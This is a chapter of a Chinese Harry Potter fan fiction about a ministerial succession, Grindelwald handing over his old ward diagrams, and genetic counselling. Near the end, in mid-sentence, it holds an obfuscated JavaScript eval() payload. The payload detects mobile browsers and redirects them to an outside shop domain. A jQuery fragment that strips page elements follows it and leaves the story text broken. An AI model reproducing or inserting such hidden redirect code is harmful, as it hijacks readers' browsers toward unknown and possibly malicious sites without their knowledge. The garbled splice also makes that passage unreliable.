文趣网 > 其他小说 > hp同人无冕之王 > 79.第九学年春季学期
    第九学年第二学期,霍格沃茨的梧桐絮还没开始飘,黑湖边那棵老山毛榉树刚把最后一批冬芽从枝头推出来,一个消息就传遍了整个魔法界。福斯特部长的退休声明终于正式递交了。不是他被谁逼着退,也不是他犯了什么错。是他自己觉得该退,便退了。

    福斯特部长在新闻发布厅里对着那封被他反复拿出来又放回去的辞职信,用他惯常的那种老实到近乎笨拙的语气说:

    “我接任的时候,魔法部还欠着古灵阁一屁股债,对角巷的退烧药靠存根换。现在这些东西都不用我管了。国际魔法阵互认委员会把所有边界阵基都纳入了加密协议,全欧洲的飞天摩托驾照都按同一套标准发放,低龄部的孩子六岁就能入学。还有全欧洲的纯血家族都在排队做遗传咨询。我觉得我留在这里能做的最有用的事,就是把椅子让出来。”

    福斯特部长把那封辞职信放在发言台上,往后退了半步,用一种比平时更慢、更像是在和自己确认的语气补了一句,“我以前总觉得魔法部部长应该是个很厉害的人。后来我发现,这个位子上的人只需要做一件事,在该让的时候让。”

    台下没有人追问,没有闪光灯,没有交头接耳。对角巷的每一家店铺当天下午就把橱窗里那些旧标语全部撤下来,换成了一张被蜂蜜公爵老板娘亲手用粉笔写的便签,旁边还画了一只歪歪扭扭的猫——“谢谢福斯特先生。您把最难的时候扛过去了。”

    丽痕书店的店长把他用了多年的粗钢笔放在版样旁边,在当天晚报的头版社论栏里写了一句话:“我们有过很多任部长。他是唯一一个在退休声明里感谢了流转中心归档员的部长。”

    新任部长的人选在威森加摩内部讨论了好几轮,最终落在金斯莱·沙克尔身上。他是个傲罗出身,在魔法部里不算最有权势的那一派,但所有人都知道一件事:他是那几年古灵阁断供危机中最早把安全锁外勤升级授权签字的那个人。他的就职仪式被安排在三月中旬,魔法部中庭那座巨大的喷泉前。

    福斯特亲手把自己那只嵌着加密便条残片的旧怀表交给他,然后往后退了一步,站在那里,站在汤姆·里德尔旁边,用一种仿佛只是在确认今天下午飞路枢纽是否有飞往北欧的专线那般随意的语调说:“这块表我交给你了。它里面只剩几片旧接头,但首相办公室的联络码还是好的。”

    金斯莱接过那只旧怀表,把它放进自己外袍内侧贴近心脏的位置。他在就职演说中只说了几句话。“我这辈子做过的所有重要的事,都是在深夜里被人叫醒的。感谢福斯特先生在所有人都还没看出方向的时候已经先替所有人把最难的那几步走完了。我不会让这把椅子比福斯特先生坐上去之前更重,但会让坐在这把椅子上的人比过去任何时候都更清楚自己应该替谁负责。”

    金斯莱说完之后转向站在前排的里德尔,用一种温和低沉却让整个中庭都听得清清楚楚的语调说:“首席协调官先生,北欧航线那边的冻土配比报告已经放在您桌上了。我今早刚让国际魔法合作司同步抄送委员会秘书处。”

    福斯特在旁边听到这句话,把手指从自己那封已经被他反复折叠过很多次的辞职信上收回来,把自己那只旧怀表的链子从口袋里抽出来轻轻放在金斯莱的办公桌上。说:“我用了大半辈子才学会怎么在备忘录里写“本报告不构成任何政策建议”,现在这个职位交给一个比去更清楚国际航线和加密标准的人,没什么不放心的。”

    福斯特顿了顿,用一种比刚才所有语气更轻却也更深的声音补了一句:“唯一担心的是下一任部长会不会记得在给首席协调官的备忘录末尾加上那句“本报告不构成任何政策建议”。”

    金斯莱说他已经加上了。就在今早那份冻土配比报告的最后一页。

    魔法部的工作重心在金斯莱上任后的第一次常务会议上就被他重新调整了。他把自己在傲罗指挥部时最熟悉的那套安全备案流程直接搬到了部务管理上。

    内阁特别魔法事务办公室升级为正式内阁办公室,所有麻瓜相关事务的审批权限全部集中,不再经过中间层层转发。麻瓜事务与物品管理司在原有亚瑟·韦斯莱团队的基础上扩大,正式将外源计划进口编码设为贸易处自身标准,同时承担对麻瓜技术的引进、展品审批与检测。

    国际魔法合作司新设一个专门处理与委员会之间所有技术协议与教育合作事务的固定岗位,由埃德加亲自担任联络人。所有关于国际航线、家族遗传筛查、低龄教育互认和政策调动的文件,先过他的三式记账簿才能提交金斯莱签字。

    金斯莱本人则在委任埃德加之后,让沙克尔自己在委员会会议上以首席协调官的身份正式建议将欧洲境内魔法部与麻瓜政府间已有的常设协商成果延展为国际上的参照框架。

    邓布利多和里德尔在仪式结束后并肩站在喷泉旁边,看着金斯莱把第一份由他亲自签发的行政令:将麻瓜生物学和遗传学课程纳入魔法部教育司上岗培训必修课,交给福斯特做最后归档。

    福斯特接过去签了名,抬头对他们两人说这是他以魔法部部长身份签的最后一份正式文件。他说:“我这辈子签过无数份文件,没有什么比用存根换龙骨粉时更令人难堪。现在最后一份签的是关于遗传教育,这辈子也算值了。”

    福斯特把笔放下,往后退了一步,对着喷泉水面上那些被夕阳映成淡金色的倒影看了片刻,然后转过头对里德尔说:“上次你让我在那份备忘录上签字的时候,我还觉得那是我这辈子签过的最沉的一份文件。今天发现,最后一份其实是最轻的。”

    对角巷的店铺在一个月之内陆续把招牌翻新了。

    蜂蜜公爵的老板娘在换上新招牌那天,把自己用了多年的那支粗钢笔递给孙女,让她在招牌角落画一颗星星。

    丽痕书店的店长把那套被翻得起了毛边的《标准魔药学》低龄版放在橱窗正中央,旁边压着一张便签,上面写着:“金斯莱·沙克尔,傲罗出身。他第一次在威森加摩发言时,说的是‘安全锁应该对所有人免费’。”

    弗里达·弗洛林把新部长那份由埃德加亲自校对过的部内备忘录第一则通告贴在自己的老弗洛林冷饮店新换的公告板上,在旁边批了一行小字:“部内备忘录格式首次正确。埃德加终于可以少标一行了。”

    春分过后,当对角巷的店家们已经习惯了新部长每周准时发送技术简报时,另一件事在纯血贵族的圈子里悄悄传开了。不是谣言,不是密谋,而是一封被邓布利多亲手放在校长办公室保险柜最上层的信。

    信是格林德沃写来的。猫头鹰是在一个雨夜抵达霍格沃茨的。那只鸟浑身湿透,爪子上没有绑任何火漆封印,只绑着一卷用旧羊皮纸裹着的图册。图册里是他年轻时在欧洲大陆画过的那些旧结界,有些曾被各国魔法部列为“危险物品”永久封存,有些在后来编纂的国际魔法阵互认委员会技术白皮书中被重新校准频率与加密协议。

    格林德沃把每一份旧图旁边都亲笔标注了新的注解。有些地方他写道这里的地磁参数当时我算错了半度,你们现在用麻瓜卫星定位修正比较快。有些地方写着这个节点可以在蛇型封印与星象阵之间作为通用中转枢纽,意大利天窗实验室那批校准弦应该能行。最后一页只写了几句话:“以前这些都是武器。你们现在拿去当城墙吧。”

    邓布利多把这封信反复看了很多遍。他坐在自己那把高背椅上,半月形镜片后面的蓝眼睛没有流泪,只是比平时更亮。

    福克斯从栖木上飞下来落在他膝头,邓布利多把手指插进凤凰温暖的尾羽里,对着那卷旧羊皮纸上那些被他年轻时反复临摹过的曲线用极轻极轻的语调说了一句:“你以前从来不在图纸上给人留余地。现在你把每一块的边距都标清楚了。”

    邓布利多随后拿起自己的魔杖,亲手把格林德沃标注过的与意大利校准弦和挪威冻土配比变化对应的那几段图注逐字翻译成英文,附在委员会标准索引下方,在末尾校对人一栏签上自己和格林德沃两人的名字,把它放进国际魔法阵互认委员会即将提交给下一届联谊会的公开文献审查附录。

    邓布利多在签名时停顿了一下。那只曾被无数人称为“本世纪最伟大的白巫师”的手,此刻正用和他在戈德里克山谷给盖勒特写第一封信时完全一致的笔迹,在格林德沃的旧结界图上写下自己的全名。

    邓布利多把羽毛笔放回墨水瓶边沿,对着摊满整张书桌的旧羊皮纸用一种比自言自语更轻、却比任何公开演讲都更真的语调说:“阿不思·邓布利多,与盖勒特·格林德沃——合校。”

    几天后,邓布利多在全校教工会议上以一种极其平淡却让麦格在座位上把手帕从口袋里抽出来又放回去的语调说道:

    “盖勒特·格林德沃已经把他在欧洲大陆留下的所有旧结界图纸全部移交给常设委员会。这些图纸曾在各国魔法部的‘危险物品’目录中停留了几十年。从今天开始,它们不再被划为危险物品,不再被存于封禁档案架,而是并入我们现在每天都在更新维护的国际魔法阵技术互认共享目录,同步对各成员国开放查阅。他是自愿的。他没有提任何条件。我只是觉得,在这个新学期开始之际,这件事值得诸位知道。”

    麦格把她那张手帕重新叠好放进袖口,用一种极其克制却让旁边的斯普劳特轻轻把手放在她手背上的语调说了一句:“那些旧结界图以前在变形课高级班的教材里只被引用过一条。那一条他还是用假名写的。”

    与此同时,当天傍晚,格林德沃独自一人站在纽蒙迦德最高塔楼那扇唯一的窗前。窗外是奥地利阿尔卑斯山脉的残雪,他把那封从霍格沃茨飞来的回信:邓布利多亲手写的那封,只比他的旧阵图多一行——“第九学年的遗传学课程,低龄部已经讲到孟德尔第二定律了。”

    格林德沃把信叠好放在窗台上,对着山谷里正在融化的雪线,用他那种和邓布利多几乎完全相同的、被太多人误以为是冷淡的平静语调自言自语道:“他以前总说我毁掉了一代人。现在他在教下一代怎么用我的旧阵法建城墙。他总是能让我输。”

    格林德沃说完这句话后把窗台上那封被暮色浸成深蓝色的信拿起来翻到背面。背面是邓布利多亲手画的一幅极小的草图。一个极小的星象阵,和格林德沃年轻时在戈德里克山谷画过的第一张星象阵图稿完全一致。他在星象阵右下角用紫色墨水写了几个字:“这是你那一年画的。画错的地方我已经帮你改掉了。”

    格林德沃把信纸翻过来又翻回去看了很久,然后把那张星象阵旁边被邓布利多改掉的那条线用手指轻轻描了一遍。那条线他画错了大半辈子,他画的时候以为星象阵可以独自承受一切向外的力量,

    而邓布利多在那条线旁边只加了一个极小的双向触发符号,它便能同时承受向内与向外。他把信折好放在自己衬衫口袋里,对着窗外说了一句只有他和正沉入雪线以下的阿尔卑斯山脉能听到的话:“这大概就是他那节遗传学课讲的东西,不是把旧的血统原样复制下去,而是在旧图纸上替它留出可以修正自己的接口。”

    整个第九学年第二学期,从新部长就职到格林德沃把旧阵图交还全世界,对角巷公告墙上那张格林德沃旧阵法图集的告示刚被贴出来时,旁边是低龄部生物课新一期观察日志。

    尼法朵拉把她自己画的“苔藓颜色随湿度变化”连环画新一页贴在公告墙上,那一页画的是她上午刚在温室里看到的子株分盆实验,底下歪歪扭扭却每个数据都仔细核对过的笔迹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578122|204472||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    写着:“同一株妈妈生出来的子株,在不同湿度下颜色变得和对方不一样了。妈妈说这就是她以前说过的遗传。也是格林特教授第一堂课说的那个。”

    在尼法朵拉的苔藓观察日志旁边贴着一封被透明档案膜包好的信。那是一位已经从霍格沃茨毕业好几年、如今正在北欧极地站点负责恒温养护阵校准的年轻女巫寄回来的。她在信中说她刚把格林德沃旧结界图里那条关于挪威冻土配比变化的图注用到冰岛航线新一批养护阵的节点校准中,这是她这辈子用过的最准确的冻土年度配比记录。她在信末写了一行更小的字:“以前不敢想自己能用上这些。从没想过这些旧结界有一天会变成城墙。”

    同一面墙上,紧挨着那封信和苔藓观察日志的,是一份被潦草地写在半张羊皮纸上的便条。便条纸边还留着裁切时被不小心切歪了一小角的毛边,字是用麻瓜圆珠笔写的,出自一位刚从某纯血家族嫁到麻瓜世界的年轻女儿之手。她说她把自己的第一份遗传咨询结果复印了一份寄回娘家,并在便条的背面写了一段话:

    “以前我总担心他出院之后会旧病复发。现在我可以在手术同意书上用标准医学词汇告诉他,这不是复发。这是我血液里与他无关的同一组密码被正确翻译了一次。”她把这段话原样缝在自己给父亲新订的保温毯内侧,然后在便条末尾附注此地还有一个被诺特家老管家从公爵府药单上逐条比对后亲自标注过的数据,显示公爵府同一代至少还有另一个家族分支至今仍在以同样的方式拒绝公开病历,并备注称他只是代前任老管家移交这条信息,不代表诺特家现在对此事的公开立场。

    而这行附注被贴在斜对面公告墙最侧边一栏,旁边恰好是那天弗立维用紫色墨水在《孟德尔遗传学》日英对照译本扉页上留下来的一行字:“同一套隐性致病基因在堂表亲之间相遇的概率比随机人群高出太多倍。这是可以被计算的风险,不再需要任何人再去独自面对。”

    与此同时,圣芒戈五楼那间义务咨询室的预约名单已经排到了下个季度。

    艾米每次去值下午班时都会在桌上放一只文件盒和一杯热姜茶。她把所有自愿公开的病历原档按家族首字母编号放在架子上,把那些被反复翻阅却从未被外人触碰过的旧羊皮纸逐页摊开,让每一个走进来的人自由选择自己想要打开的档案夹。

    有些人只是安静地看了一会儿,把父亲或祖父未完成的治疗记录从头翻到尾,然后合上档案夹放在桌上,没有说话。有些人会在临走前从口袋里掏出自己家族流传下来的旧药方,放在那一排档案夹旁边。有些人在第二周会带着自己的魔力活性检测报告回来,把报告原件留在她桌上,然后重新预约下一次。

    艾米说:“在这里的工作很简单。只是提供数据、解释规律、告知下一阶段可选的筛查方式和现有的预防建议,然后让每一个人自己去面对自己的家族历史。”

    金斯莱在第一次以部长身份旁听委员会教育组例会时,把那份由艾米亲笔起草、里德尔用红墨水逐段批注过的遗传咨询报告放在桌上。

    金斯莱说:“我以前在做傲罗时接过一个案子。一个纯血家族的老宅里有间密室,密室里的旧病历堆得比人还高,但每一份都从未被圣芒戈收录。我把那些病历带回了证物室,后来这些病历被转入委员会档案架。现在我知道那里面的父亲和那些孩子是怎么死的了。”

    金斯莱说他所递交的下一版部务调整草案将正式增设遗传咨询专门委员会,由庞弗雷夫人任临床主任,艾米·格林特兼任教育顾问。

    当晚,艾米独自坐在流转中心最里面那张旧木桌前,把自己那份被反复修改过无数次的备忘录最后一页翻到空白处,拿起笔写下下一阶段的工作草案:“继续进行遗传学课程评估的同时,为将来可能开展的麻瓜医学引入及相关应用做准备。”

    艾米写完这行字后把笔放下,端起那只画歪猫的杯子,看着窗外老山毛榉树下的孩子们正围着缇娜,用新拿到的一套荧光粉笔在护栏上画自己的生物观察日记。

    尼法朵拉正把她的苔藓观察日志翻到新的一页,那一页上画着一颗极小的豌豆,旁边用绿色粉笔写着:“孟德尔的豌豆,布莱克家的星星,和我今天在温室里看到的第一株新芽。”

    光线穿过老山毛榉树新抽的嫩叶,把树下那颗豌豆和那行字照得透亮。她低头喝了一口姜茶,杯底那行被茶渍晕成暖灰色的釉下蓝字在傍晚的光里一闪——“别写歪了。”

    那只歪猫的尾巴还和她许多年前在孤儿院旧书角上第一次画歪猫时一样,歪歪扭扭地指向那个还没画完的弯。她把杯子放在桌上,重新拿起笔。窗外,缇娜正把新一批匿名案例卡按标准格式压进流转中心档案架最上层。

    楼下长廊里,尼法朵拉正把她的苔藓观察日志翻到下一页。对角巷公告墙上,那张曾被西里斯贴满大字报的老梧桐树旁,新一期低龄部生物课观察日志刚被贴上不到片刻。

    一只灰隼从纽蒙迦德最高塔楼的方向振翅起飞,爪子上系着的那卷旧羊皮纸上盖着一枚被邓布利多亲手签过的双向触发符号。它正飞往意大利天窗实验室,在那里,第一束校准弦正从星象阵第三象限重新连线到禁林深处那棵老山毛榉树下。

    而在老山毛榉树粗壮的枝杈之间,一个新架设的通讯中继节点刚刚被矮人工匠用同一批深海胶质双向触发膜包好,它的信号灯还没有亮。

    但它已经被写进了下一版国际飞行路径协议的航标校准表。树根底下那圈獾形纹痕被新长出来的春苔衬得隐隐泛着金属灰,旁边那颗被尼法朵拉用银绿色粉笔画下的、写着“孟德尔的豌豆,布莱克家的星星”的星星,正和草甸护栏上孩子们刚贴上去的观察日志一起,在傍晚的风里轻轻掀动。